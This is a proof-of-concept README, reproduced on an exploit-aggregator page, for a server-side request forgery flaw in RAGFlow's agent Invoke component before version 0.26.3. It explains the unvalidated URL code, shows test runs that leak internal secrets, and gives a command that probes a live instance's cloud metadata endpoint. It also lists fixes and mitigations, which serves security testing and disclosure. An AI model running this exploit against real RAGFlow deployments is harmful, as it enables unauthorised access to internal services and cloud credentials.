Sploitus

Exploit for CVE-2026-75898

githubexploit Β· 2026-08-26

Exploit Code

README110 lines
## https://sploitus.com/exploit?id=0F12A135-B7F3-53D1-A985-FBC0FB786B9F
# CVE-2026-75898 β€” RAGFlow Invoke component SSRF

Server-Side Request Forgery (CWE-918) in RAGFlow's agent workflow "Invoke"
component, **before 0.26.3**.

| | |
|---|---|
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| Fixed in | v0.26.3 |
| Fix commits | [`c4fe68e`](https://github.com/infiniflow/ragflow/commit/c4fe68eaa0bf1d6442d2cd6ac2e35bc9ccbed34f), [`e16d1a0`](https://github.com/infiniflow/ragflow/commit/e16d1a0150e1ca069beb538ae3dcd03f59edc5fa) |
| Issue refs | [infiniflow/ragflow#15425](https://github.com/infiniflow/ragflow/issues/15425), [#18280](https://github.com/infiniflow/ragflow/issues/18280) |
| Advisory | [VulnCheck](https://www.vulncheck.com/advisories/ragflow-server-side-request-forgery-via-agent-invoke-component) |

## Root cause

In `agent/component/invoke.py` of v0.26.2 the `Invoke` component constructs the
request URL from user-supplied variable templates and performs **no validation**
of the resolved host:

```python
def _build_url(self, kwargs: dict) -> str:
    url = self._resolve_template_text(self._param.url.strip(), kwargs)
    if not url.startswith(("http://", "https://")):
        url = "http://" + url
    return url
```

This URL reaches `requests.get/post/put` in `_send_request()`. Because
`allow_redirects` is left as the requests default (`True`), an attacker can:

1. set the Invoke `url` to an internal address (`127.0.0.1`, `169.254.169.254`,
   RFC1918 ranges, resolved-host pinning does not exist), or
2. point it at an attacker host that 302-redirects into the internal network.

The fix adds `assert_url_is_safe()` + `pin_dns()` and forces
`allow_redirects=False`.

## Genuine source, not a re-implementation

Unlike "looks-like" re-implementations, this repo runs the **unmodified
v0.26.2 source** of the vulnerable component:

* `target/invoke_v0.26.2.py` β€” byte-for-byte `agent/component/invoke.py`
  from the `v0.26.2` tag.
* `e2e/test_genuine_ssrf.py` β€” loads that real file behind thin import stubs
  (the stub replaces only unrelated imports: `ComponentBase`, the `timeout`
  decorator and `HtmlParser` β€” **none of the SSRF-path logic is touched**) and
  proves the component reaches an internal service directly and via a redirect
  chain.
* `e2e/test_fix_guard.py` β€” applies the upstream guard (`assert_url_is_safe`,
  `allow_redirects=False`) on the very same file and shows the requests are
  blocked.

## Reproducibility

Validated in three independent ways:

1. **Repo-local E2E** (no RAGFlow install): `e2e/test_genuine_ssrf.py` drives
   the unmodified `target/invoke_v0.26.2.py` source against loopback lab
   servers β€” SSRF confirmed.
2. **Fix comparison**: `e2e/test_fix_guard.py` applies the upstream guard to
   the same file β€” blocked.
3. **Full Docker instance**: RAGFlow `v0.26.2` (infinity+mysql+minio+valkey)
   via `docker compose`; an Invoke node in a real agent flow fetched
   ``INTERNAL-DB-SECRET:dbpassword=SuperSecret123`` from an internal host port.
   See [`LAB_DEMO.md`](LAB_DEMO.md) for the verbatim evidence.

## Run the local E2E

```bash
cd e2e
python3 test_genuine_ssrf.py   # must print SSRF confirmed (vulnerable)
python3 test_fix_guard.py     # must print BLOCKED (fixed behavior)
```

### Expected output (vulnerable)

```
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
    response: 'INTERNAL-SECRET-/internal/admin/reset'  (X-Internal header: true)
    [?] SSRF confirmed: internal service reached, secret leaked

[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
    final: 'INTERNAL-SECRET-/internal/redirected'
    [?] SSRF via redirect chain confirmed
```

## Check a live RAGFlow instance

Requires an authenticated session token (Invoke runs inside an agent flow).

```bash
python3 poc.py --poc                                        # local E2E
python3 poc.py --check --target https://ragflow.example.com \
               --token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
```

## Detection / remediation

* Upgrade to RAGFlow **β‰₯ 0.26.3**.
* Restrict the agent `Invoke` node URL templates to an allowlist.
* Egress-filter internal/cloud metadata ranges from the RAGFlow backend.

## Disclosure

Fixed in RAGFlow v0.26.3 (Aug 2026). This PoC was independently reconstructed
from the public advisory and fix commits for authorized security testing and
education only. Not affiliated with InfiniFlow.